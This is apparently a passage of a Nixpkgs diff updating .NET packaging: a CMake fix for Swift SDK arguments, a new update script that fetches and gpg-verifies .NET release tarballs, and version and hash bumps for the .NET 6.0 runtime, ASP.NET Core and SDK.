b/src/runtime/src/native/libs/System.Security.Cryptography.Native.Apple/CMakeLists.txt +@@ -49,9 +49,13 @@ if (NOT SWIFT_COMPILER_TARGET AND CLR_CMAKE_TARGET_OSX) + set(SWIFT_COMPILER_TARGET "${CMAKE_OSX_ARCHITECTURES}-apple-${SWIFT_PLATFORM}${SWIFT_DEPLOYMENT_TARGET}${SWIFT_PLATFORM_SUFFIX}") + endif() + ++if (CMAKE_OSX_SYSROOT) ++ set(SWIFT_ARGS -sdk ${CMAKE_OSX_SYSROOT}) ++endif() ++ + add_custom_command( + OUTPUT pal_swiftbindings.o +- COMMAND xcrun swiftc -emit-object -static -parse-as-library -runtime-compatibility-version none -sdk ${CMAKE_OSX_SYSROOT} -target ${SWIFT_COMPILER_TARGET} ${CMAKE_CURRENT_SOURCE_DIR}/pal_swiftbindings.swift -o pal_swiftbindings.o ++ COMMAND xcrun swiftc -emit-object -static -parse-as-library -runtime-compatibility-version none ${SWIFT_ARGS} -target ${SWIFT_COMPILER_TARGET} ${CMAKE_CURRENT_SOURCE_DIR}/pal_swiftbindings.swift -o pal_swiftbindings.o + MAIN_DEPENDENCY ${CMAKE_CURRENT_SOURCE_DIR}/pal_swiftbindings.swift + COMMENT "Compiling Swift file pal_swiftbindings.swift" + ) +-- +2.42.0 + diff --git a/pkgs/development/compilers/dotnet/update.nix b/pkgs/development/compilers/dotnet/update.nix new file mode 100644 index 0000000000000..89291d2461d8d --- /dev/null +++ b/pkgs/development/compilers/dotnet/update.nix @@ -0,0 +1,123 @@ +{ stdenvNoCC +, lib +, fetchurl +, writeScript +, nix +, runtimeShell +, curl +, cacert +, jq +, yq +, gnupg + +, releaseManifestFile +, releaseInfoFile +, allowPrerelease +}: + +let + inherit (lib.importJSON releaseManifestFile) channel release; + + pkg = stdenvNoCC.mkDerivation { + name = "update-dotnet-vmr-env"; + + nativeBuildInputs = [ + nix + curl + cacert + jq + yq + gnupg + ]; + }; + + releaseKey = fetchurl { + url = "https://dotnet.microsoft.com/download/dotnet/release-key-2023.asc"; + hash = "sha256-F668QB55md0GQvoG0jeA66Fb2RbrsRhFTzTbXIX3GUo="; + }; + + drv = builtins.unsafeDiscardOutputDependency pkg.drvPath; + +in writeScript "update-dotnet-vmr.sh" '' + #! ${nix}/bin/nix-shell + #! nix-shell -i ${runtimeShell} --pure ${drv} + set -euo pipefail + + query=$(cat <<EOF + map( + select( + ${lib.optionalString (!allowPrerelease) ".prerelease == false and"} + .draft == false and + (.name | startswith(".NET ${channel}")))) | + first | ( + .name, + .tag_name, + (.assets | + .[] | + select(.name == "release.json") | + .browser_download_url), + (.assets | + .[] | + select(.name | endswith(".tar.gz.sig")) | + .browser_download_url)) + EOF + ) + + ( + curl -fsL https://api.github.com/repos/dotnet/dotnet/releases | \ + jq -r "$query" \ + ) | ( + read name + read tagName + read releaseUrl + read sigUrl + + if [[ "$name" == ".NET ${release}" ]]; then + >&2 echo "release is already $name" + exit + fi + + tmp="$(mktemp -d)" + trap 'rm -rf "$tmp"' EXIT + + tarballUrl=https://github.com/dotnet/dotnet/archive/refs/tags/$tagName.tar.gz + + mapfile -t prefetch < <(nix-prefetch-url --print-path "$tarballUrl") + tarballHash=$(nix-hash --to-sri --type sha256 "''${prefetch[0]}") + tarball=''${prefetch[1]} + + cd "$tmp" + curl -L "$sigUrl" -o release.sig + + export GNUPGHOME=$PWD/.gnupg + gpg --batch --import ${releaseKey} + gpg --batch --verify release.sig "$tarball" + + tar --strip-components=1 --no-wildcards-match-slash --wildcards -xzf "$tarball" \*/eng/Versions.props + artifactsVersion=$(xq -r '.Project.PropertyGroup | + map(select(.PrivateSourceBuiltArtifactsVersion)) + | .[] | .PrivateSourceBuiltArtifactsVersion' eng/Versions.props) + + if [[ "$artifactsVersion" != "" ]]; then + artifactsUrl=https://dotnetcli.azureedge.net/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.$artifactsVersion.centos.8-x64.tar.gz + else + artifactsUrl=$(xq -r '.Project.PropertyGroup | + map(select(.PrivateSourceBuiltArtifactsUrl)) + | .[] | .PrivateSourceBuiltArtifactsUrl' eng/Versions.props) + fi + + artifactsHash=$(nix-hash --to-sri --type sha256 "$(nix-prefetch-url "$artifactsUrl")") + + jq --null-input \ + --arg _0 "$tarballHash" \ + --arg _1 "$artifactsUrl" \ + --arg _2 "$artifactsHash" \ + '{ + "tarballHash": $_0, + "artifactsUrl": $_1, + "artifactsHash": $_2, + }' > "${toString releaseInfoFile}" + + curl -fsL "$releaseUrl" -o ${toString releaseManifestFile} + ) +'' diff --git a/pkgs/development/compilers/dotnet/update.sh b/pkgs/development/compilers/dotnet/update.sh index cdbbe482d4e40..f9f198b05e2f0 100755 --- a/pkgs/development/compilers/dotnet/update.sh +++ b/pkgs/development/compilers/dotnet/update.sh @@ -8,7 +8,7 @@ release () { local content="$1" local version="$2" - jq -r '.releases[] | select(."release-version" == "'"$version"'")' <<< "$content" + jq -r '.releases[] | select(.sdks[] | ."version" == "'"$version"'")' <<< "$content" } release_files () { @@ -18,6 +18,14 @@ release_files () { jq -r '[."'"$type"'".files[] | select(.name | test("^.*.tar.gz$"))]' <<< "$release" } +sdk_files () { + local release="$1" + local version="$2" + + jq -r '[.sdks[] | select(.version == "'"$version"'") | .files[] | select(.name | test("^.*.tar.gz$"))]' <<< "$release" +} + + release_platform_attr () { local release_files="$1" local platform="$2" @@ -281,6 +289,13 @@ sdk_packages () { ) fi + # These packges were added on .NET 8 + if ! version_older "$version" "8"; then + pkgs+=( + "Microsoft.NET.ILLink.Tasks" + ) + fi + generate_package_list "$version" "${pkgs[@]}" } @@ -314,13 +329,13 @@ Examples: # Then get the json file and parse it to find the latest patch release. major_minor=$(sed 's/^\([0-9]*\.[0-9]*\).*$/\1/' <<< "$sem_version") content=$(curl -sL https://dotnetcli.blob.core.windows.net/dotnet/release-metadata/"$major_minor"/releases.json) - major_minor_patch=$([ "$patch_specified" == true ] && echo "$sem_version" || jq -r '."latest-release"' <<< "$content") + major_minor_patch=$([ "$patch_specified" == true ] && echo "$sem_version" || jq -r '."latest-sdk"' <<< "$content") major_minor_underscore=${major_minor/./_} - release_content=$(release "$content" "$major_minor_patch") + sdk_version=$major_minor_patch + release_content=$(release "$content" "$sdk_version") aspnetcore_version=$(jq -r '."aspnetcore-runtime".version' <<< "$release_content") runtime_version=$(jq -r '.runtime.version' <<< "$release_content") - sdk_version=$(jq -r '.sdk.version' <<< "$release_content") # If patch was not specified, check if the package is already the latest version # If it is, exit early @@ -339,7 +354,7 @@ Examples: aspnetcore_files="$(release_files "$release_content" "aspnetcore-runtime")" runtime_files="$(release_files "$release_content" "runtime")" - sdk_files="$(release_files "$release_content" "sdk")" + sdk_files="$(sdk_files "$release_content" "$sdk_version")" channel_version=$(jq -r '."channel-version"' <<< "$content") support_phase=$(jq -r '."support-phase"' <<< "$content") diff --git a/pkgs/development/compilers/dotnet/versions/6.0.nix b/pkgs/development/compilers/dotnet/versions/6.0.nix index 91340bbf0d182..ec7fd8d7f9972 100644 --- a/pkgs/development/compilers/dotnet/versions/6.0.nix +++ b/pkgs/development/compilers/dotnet/versions/6.0.nix @@ -3,177 +3,177 @@ # v6.0 (active) { aspnetcore_6_0 = buildAspNetCore { - version = "6.0.26"; + version = "6.0.27"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/b63daa46-51f4-480e-ad03-ef2c5a6a2885/ae059763456991305109bf98b3a67640/aspnetcore-runtime-6.0.26-linux-x64.tar.gz"; - sha512 = "51a0091ffa5abb2a6f2f968f76848e475310fbb33126238bc1358ee86e24bfd3f046d32af2f39dc7a30b14becdd637d1314ca4f4b771fe5fa0954474a605e4fd"; + url = "https://download.visualstudio.microsoft.com/download/pr/d3e6b8a2-f7de-441e-a3af-c18b7584034b/9f15be4d095b7bbb751222b4d68a17e3/aspnetcore-runtime-6.0.27-linux-x64.tar.gz"; + sha512 = "47495e387c63b10f3b52065f40738d58b5b60d260d23cff96fe6beeb290f2f329a538c8065443fa3b10ecbd3456bdae58e443118870e7b5774210caf07c3f688"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/cfc40e77-a6de-481f-812d-6867289e2d8b/eeedeebccc412fd01110d8b59050754d/aspnetcore-runtime-6.0.26-linux-arm64.tar.gz"; - sha512 = "48330ea4d98fc565c9553ea119f56e3e485ca30a0986f43e78335e263d9cc82d17b7ced8115480d1adb33298cbc5cb2b0759bc89d516659c4c59eab9520a2254"; + url = "https://download.visualstudio.microsoft.com/download/pr/6be3e44e-1306-422b-845c-9313589bbeb0/d76f133799f6b2c8e3ea7dc9d92b7a03/aspnetcore-runtime-6.0.27-linux-arm64.tar.gz"; + sha512 = "cafb52efb2bb646459c3d133a6968105867bbe0ef580318def47ff83770e1f180431f53c5a7899563b5c8d7fe44a58d423c8c7a4b3f29054010230fb47b1fa89"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/19e27b0b-cd99-4b84-bc7a-05eda52bd77f/a85cbbb13b629b75b2026bb8c6238e6e/aspnetcore-runtime-6.0.26-osx-x64.tar.gz"; - sha512 = "9ffb209f2f07392935b9627e22b44260803cc5e21ab8d09152d5499ebae51d6f488992664bc44a23334332a1183c444b47cada319cf4d461dd95a6b78f1cd825"; + url = "https://download.visualstudio.microsoft.com/download/pr/9c3628c1-8221-48e4-aff1-a3eb23bc42f0/4c6717fec81aa31dbc290af683087304/aspnetcore-runtime-6.0.27-osx-x64.tar.gz"; + sha512 = "4cf70618e2f01401a26b05fd287867ba9b23498629d87bd61d3418a0d5191c0e07a16090e149e759072b00ee9860a4cf7260e6bf36e2d10ee19d0d4c2a39a5e2"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/e5181497-c33a-4341-a5a6-57eb21f39d33/85b574ef2b884f084b604d1869d72c02/aspnetcore-runtime-6.0.26-osx-arm64.tar.gz"; - sha512 = "641cb5542c5d4b0103a2ac0154e2a99d755a4987fcdad854cda1fc75bdde08432eab73db69c444628e7d68496ed6e36fa52eda5033e118ed4b5140b8d5c47d96"; + url = "https://download.visualstudio.microsoft.com/download/pr/7127ff28-48c8-4f40-bd34-be86a2098a67/afad61df9e45650c995b92dd10d2167c/aspnetcore-runtime-6.0.27-osx-arm64.tar.gz"; + sha512 = "1cc3d27ca26edbc30f24ea918a44414f0098481c6ad5ed5f19a5db1c1ea1ec3c412804233cc3e7aea481aee351be4512b40c554fd5b1807204a9dc22a479b9ba"; }; }; }; runtime_6_0 = buildNetRuntime { - version = "6.0.26"; + version = "6.0.27"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/1873e7f3-aa12-4189-8d6d-db0fb859211e/b36e8f8a6ceb63bc3cfac875c7bb63d0/dotnet-runtime-6.0.26-linux-x64.tar.gz"; - sha512 = "7336f71f7f99ffc3a44c7d730c6a1e08c5c0b6e05d2076a1963776f174f8588d31c9b783d1c4f645f7e7cc6a54077b798c6bde35ed4a812ffd9b2427d29b0b34"; + url = "https://download.visualstudio.microsoft.com/download/pr/b4f214ee-a287-4640-991c-de80de4111d9/2672dee679fc3627949e8efdfff71e6d/dotnet-runtime-6.0.27-linux-x64.tar.gz"; + sha512 = "448c4419e6c5b52e82eebaaf8601bbe668a0c8bb3293a6004125c7305b38072f7d2236ebffcaf4a71901b61b22ce66ae8b077af6321ba14729be385f228be04c"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/226d8ab0-8daf-47b1-80cb-a9b68badb28b/a4425bebee91775ce41a50aca80e09c1/dotnet-runtime-6.0.26-linux-arm64.tar.gz"; - sha512 = "775d96bb3dfa6f5e7f81829e7eedf0744aeb75d5e1a613622debd1f285f9eda694ae79effe531558dd8367dc4fad5d682039aa24fb2bbb39fb561c67aeeb4a18"; + url = "https://download.visualstudio.microsoft.com/download/pr/559c4240-f5e3-4d3a-a361-99c07c7cad11/a00adbf8edb12c3646ebf57bce84d1c6/dotnet-runtime-6.0.27-linux-arm64.tar.gz"; + sha512 = "2e9772089ca8d548201d02542ba2013506530183ea6f52e8907afa608662ae967579add6d9704b75c22f2639667ef87682a7ce92aff05d51670e9354e52df1ee"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/51703c07-2cf0-415f-abbd-5d4bf2ffd56a/fc952db2ecb119fa2d58828d1046f974/dotnet-runtime-6.0.26-osx-x64.tar.gz"; - sha512 = "e2d51f955c841299fe6dabe1abce15ab2ffb2b9c624f5c2ad12685a14451fa62ed9452ae7d7d579f1beca784e4d4e3b532cf686e58490d44bbd0e022ddabd667"; + url = "https://download.visualstudio.microsoft.com/download/pr/54b2f9c4-2c1a-4fdf-9054-f295d3ae24f2/bafc4747c493d32bbeab6a5dc3cef4a5/dotnet-runtime-6.0.27-osx-x64.tar.gz"; + sha512 = "c15275726882d2cbbfe8e76b05a9dd6e6764a5889c54b2e40eefd057e39f4c44c2da0909b890e27f463b47b08755a8b83657b6f67c77a460e3009554e85b4942"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/d76c6416-5a6d-42c0-99b0-a4bb0021426b/84ef0457a893dbf0d565a532fa9dd805/dotnet-runtime-6.0.26-osx-arm64.tar.gz"; - sha512 = "fba964511efd71b87aad92ac8a31d7a86cde605fc0eb9d57ea270067b22cd540a67451d8ff3a079fcec8fffcdcfcbd74cfcc89123c2b11096dca78cbfc891be3"; + url = "https://download.visualstudio.microsoft.com/download/pr/ac022bcb-1ccc-4e7d-8b96-6d0379bec761/3ac011081768ec18387dee520e42c540/dotnet-runtime-6.0.27-osx-arm64.tar.gz"; + sha512 = "5394fb21a6c4748ccf12c47c3774ad3a193ab3dec263161bc90522bf3b2de3dd65c0102a33a9c946c2b88588fc1d6083ee4c9c683d173d7f371a98ad78591705"; }; }; }; sdk_6_0 = buildNetSdk { - version = "6.0.418"; + version = "6.0.419"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/01292c7c-a1ec-4957-90fc-3f6a2a1e5edc/025e84c4d9bd4aeb003d4f07b42e9159/dotnet-sdk-6.0.418-linux-x64.tar.gz"; - sha512 = "24d705157ae51ed5ec5ff267c76474d2ff71b0e56693f700de456321f15212a7791291b95770522a976434f5220e5c03b042f41755a0b6e9854abf73cd51e299"; + url = "https://download.visualstudio.microsoft.com/download/pr/8828b97b-7bfd-4b1b-a646-e55bddc0d7ad/e2f7d168ad273e78fbae72ffb6d215d3/dotnet-sdk-6.0.419-linux-x64.tar.gz"; + sha512 = "155a9ab33dc11a76502c24b94dbcd188b06e51f56814082f6570fd923cd74b0266baefbcb6becdd34e41c3979f5b21ca333a7fa57f0e41e5435d28e8815d1641"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/487a62cc-de86-4648-bcf4-18a02b0f4ccc/669d92e679215646badef80782d32bff/dotnet-sdk-6.0.418-linux-arm64.tar.gz"; - sha512 = "2848db109c65dc284320f680c13b498789f944f3474788548c0bf15d333020cf9b8286348bacda9af56e1dea6b56590ff24669de7ed5eaa31906f4710cabc6e1"; + url = "https://download.visualstudio.microsoft.com/download/pr/3b18aefa-0e14-4193-a167-35e1de4cfe46/acf2b230ae3ecfbc4d5f4c20cbf97b2d/dotnet-sdk-6.0.419-linux-arm64.tar.gz"; + sha512 = "c249e5c1d15f040e2e4ce444328ec30dd1097984b1b0c4d48d1beb61c7e35d06f133509500ee63ded86a420e569920809b587ff2abe073da3d8f10d4a03a9d15"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/0cce8cdf-fcdf-453e-9346-96abbe76ba6e/79047571e41085ddbef25c25540b40a8/dotnet-sdk-6.0.418-osx-x64.tar.gz"; - sha512 = "62eb6c792e90750510395a4e5796bd72b0b6806633b220ead6f54505edbabcc9216c52a4346247b20fe2c6b5b31de23432afd2687a0a6aa38727c4cad2c96e93"; + url = "https://download.visualstudio.microsoft.com/download/pr/f9e10850-734b-4267-8fd4-27a8e0f83cb9/1ac81544781feb8717c584d991f831c3/dotnet-sdk-6.0.419-osx-x64.tar.gz"; + sha512 = "43d9ee7f63131138b9a8aed10ca6797256c029168a07c340ff7a5b2fb43ebf62efcb62a4bcfe669de2b57749223d89028e68bb45e9dfbc0d5341ad5f1bd0516d"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/20977215-ff63-458a-ba19-43e93456b76e/bd58619144624cc66ac451d9c3bd5f5a/dotnet-sdk-6.0.418-osx-arm64.tar.gz"; - sha512 = "4328aa334e5ddc2dc53c2602e5cd7718e7bc7750a3a44993ee1e6b052251d570882592f24a89821bd261c42d235e3f0213f060d36c7365bd6d2d5eca60231524"; + url = "https://download.visualstudio.microsoft.com/download/pr/c4bdba21-86ac-4c0b-8d65-c26459e115ee/8fcb7e012eda317486ad00d095cddba4/dotnet-sdk-6.0.419-osx-arm64.tar.gz"; + sha512 = "9db6455c2bad80f8c8b312630c77700fd845203ba20cb7022671cf6a22b1663a1742e47eed7a384142a1d58388d8d736b4868efc5ce80b205c949e4ed5d71fe9"; }; }; packages = { fetchNuGet }: [ - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm"; version = "6.0.26"; sha256 = "1dghq8zl0ad9wspixf6pg1ryqx5g5b2d6vavz00arkr29hbb6pr1"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "6.0.26"; sha256 = "1za8lc52m4z54d68wd64c2nhzy05g3gx171k5cdlx73fbymiys9z"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"; version = "6.0.26"; sha256 = "0yni79dvg87lx4ysy9l61hz120w43g8g2bl0l5d3l3c835vk4fsk"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"; version = "6.0.26"; sha256 = "1sb4jy90xwjpysham5a09960zll1p9q696dajcz3hayfd3d72nc6"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "6.0.26"; sha256 = "1zpbmz6z8758gwywzg0bac8kx9x39sxxc9j4a4r2jl74l9ssw4vm"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "6.0.26"; sha256 = "02src68hd3213sd1a2ms1my7i92knfmdxclvv90il9cky2zsq8kw"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm64"; version = "6.0.26"; sha256 = "1b2p4a0vngdq77kqdv3fprqg0r9nzsn1idnxkqclvpbkal8ackhc"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x64"; version = "6.0.26"; sha256 = "1gxlmfdkfzmhw9pac5jiv674nn6i1zymcp2hj81irjwhhjk01mf5"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x86"; version = "6.0.26"; sha256 = "1kmx5kmsb0xqhjpig9zmwp1zcyxlx7q42npcywfjvj8rhn3k8f6z"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm"; version = "6.0.26"; sha256 = "0amqvl3jimfr3hpsm43pc30rfijsi5j08q07whyv136s3wj2fp9m"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "6.0.26"; sha256 = "1d8nkz24vsm0iy2xm8y5ak2q1w1p99dxyz0y26acs6sfk2na0vm6"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"; version = "6.0.26"; sha256 = "0gb5b57pq3kfgk5kzwzf6124l0rfa197945ynpr3h8jcamab2bc9"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "6.0.26"; sha256 = "1i8ydlwjzk7j0mzvn0rpljxfp1h50zwaqalnyvfxai1fwgigzgw5"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm"; version = "6.0.26"; sha256 = "00zknjp1bscjfprzjipjmwvq4i0i95mxvd5r61c077pfwkr2rrap"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "6.0.26"; sha256 = "19y6c6v20bgf7x7rrh4rx9y7s5fy8vp5m4j9b6gi1wp4rpb5mza4"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm64"; version = "6.0.26"; sha256 = "0jlxi1y51rpsppz02gybqcsja746ns7mjfrg7f6y8x5xqvp4p84i"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-x64"; version = "6.0.26"; sha256 = "0sgcg406w9a9s0ipvp1csrb80ddmakifzy8ngsqkxl2phvkxrak3"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "6.0.26"; sha256 = "0p7hhidaa3mnyiwnsijwy8578v843x8hh99255s69qwwyld6falv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "6.0.26"; sha256 = "1chac9b4424ihrrnlzvc7qz6j4ymfjyv4kzyazzzw19yhymdkh2s"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm64"; version = "6.0.26"; sha256 = "1k78541brbw29n6nblls4msj604jznj4s74973c899svv2qw5ayf"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x64"; version = "6.0.26"; sha256 = "0i7g9fsqjnbh9rc6807m57r2idg5pkcw6xjfwhnxkcpgqm96258v"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x86"; version = "6.0.26"; sha256 = "0p7ar2xl9p8qzxvkrx59vry09dyjgy6hky1a8x8alvi5aay725r7"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm"; version = "6.0.26"; sha256 = "0w797ab42nncr17f5imgwi47bw8im851v4l52jlkpfcr7sak6f7q"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "6.0.26"; sha256 = "164hfrwqz5dxcbb441lridk4mzcqmarb0b7ckgvqhsvpawyjw88v"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64"; version = "6.0.26"; sha256 = "02nymbmv9wvbx1jsxp1iz3009finzabg9p3ibrsqmrg9cxfs1y5c"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64"; version = "6.0.26"; sha256 = "0l30qp4gwcazh8rmw4i4j0k996jnlpkr5nzf0r14zm4j0h1zq6i3"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "6.0.26"; sha256 = "0islayddpnflviqpbq4djc4f3v9nhsa2y76k5x6il3csq5vdw2hq"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "6.0.26"; sha256 = "00f9l9dkdz0zv5csaw8fkm6s8ckrj5n9k3ygz12daa22l3bcn6ii"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm64"; version = "6.0.26"; sha256 = "0cls6ac8795iwmiqnbwfsg28gw9ac1smdp2fnvqfcjng7fnpq3ny"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x64"; version = "6.0.26"; sha256 = "0i2p356phfc5y6qnr3vyrzjfi1mrbwfb6g85k4q37bbyxjfp7zl9"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x86"; version = "6.0.26"; sha256 = "0qqlnm9p060ff0fs3gl9lkx908zmpbsdnj2inf7h3gxxncf8d7ba"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "19dlfl7z5lxh9kdi6h9a00npmhcbn6j8hpf7lmmx8lqzxx43v92n"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "1nzdrswailhr8q2lqcnx5x73fnlacrh91q2zhwsiwkzhnj2g10ad"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "1x9sizw7m2ibff4x0iwwfhwacqmm07h7calp65xyzjbsbd3pvwwl"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "1inp20x12nmxydrklcflm2gjq9hhg4w2ak37ssdqs4lp0ljrclyl"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "07w9n5wxj3rb2i50dlq4wx5fpkchlg1zm3mwkq49aw1xspplhmb3"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "0bp1951qsb67a9qkfl144ijbpf7wrayj2zfnsyrlnacyfjr15nh0"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "0pcn8gsw9cyhbry1wlxqh6khmkvji7w01z8mv9m6pxl1f58nnk5g"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "17znyv8ql0iigk3ipnf79jzqfhjb1gr7zmci7plr5gdsm4xwqvhj"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "1mbabip288dypj2vqifs3gc5pxn77m58dsawmhaf1rp046fv66zw"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "1x93q16gfl7j4445vyjp9md4ypfrp1q2562kcxfga7zgfw8jrig2"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "1j2a8svxyphsfry7dj9w2a0dnbpxsm8jp4h0752zs8vwr7566dbd"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "1ia3aysigp73c5iyrk901wygaw5ivlca6pgpq8cv8haf5a0hb8p4"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "0akginmvpjm6pd3854j9p5hcb7iq1qgsmy02w7ih3fsrpc6k1xvj"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "1r7zwd9livxs9gf1a3xnx2rjf0azgp8xxha46axigfip62zqib8z"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "093rjmlk3q74q5bzzxrs5587ymfhikzhfhymii7b86nvnbzm62fp"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "1wjkz1icqlv0f2nkr9mpdiqp8aiqbbgbpb4j1zdms0rqwf3y3ngd"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "0ay8i7vbf0dbfwh3riggm8y0dwn1wxkw98c6isdk2yp30pc6y1gf"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "049gk7f50n1mni8a31dmrih6pxn0dl9iyfb7malhj4x2va54676m"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "0q0xzszp5jxqcdr5n8p0glq79zrlcqkj05zmd31admqxl9hlv4qd"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "0qkivqmgli8id2c6da9nckggs4dl0sg3rafhmgs7g9s1izlwjkgz"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "1ladvxwyh7yp32k27lzw2zyl0wsn74lylpxb0bvcq8fspsq8kqbp"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "0yb06wsqjljnrni0y0dfrfxk8r80w9zzicdj18dx5l85n0apk2zp"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "18l9bpiv03xsawkvy0kzwcmqrfil0m42n5zb2c4na3hdalw6k230"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "17nr1hpb5lkv8f72y0jljn9sb6zgi80z63s0r6pci77dknbqw0m7"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "1vak4v0q9p99yrm24ld3jw3hpy2myk1sr7fm47cb84q4hh6ppdad"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "1693h15h9na4n2bgmrcrcr0rsqfc8dr7s4wwirnn2fki1gk33vxj"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "0s2694rz7ykzg1x1yn8y3vdj6nipmh1h136p8584m4hqyyszg7h5"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "06i6pavanzbl9maclzsvkq482knjsz2s0sk5b36a8wr08lvy83ih"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = 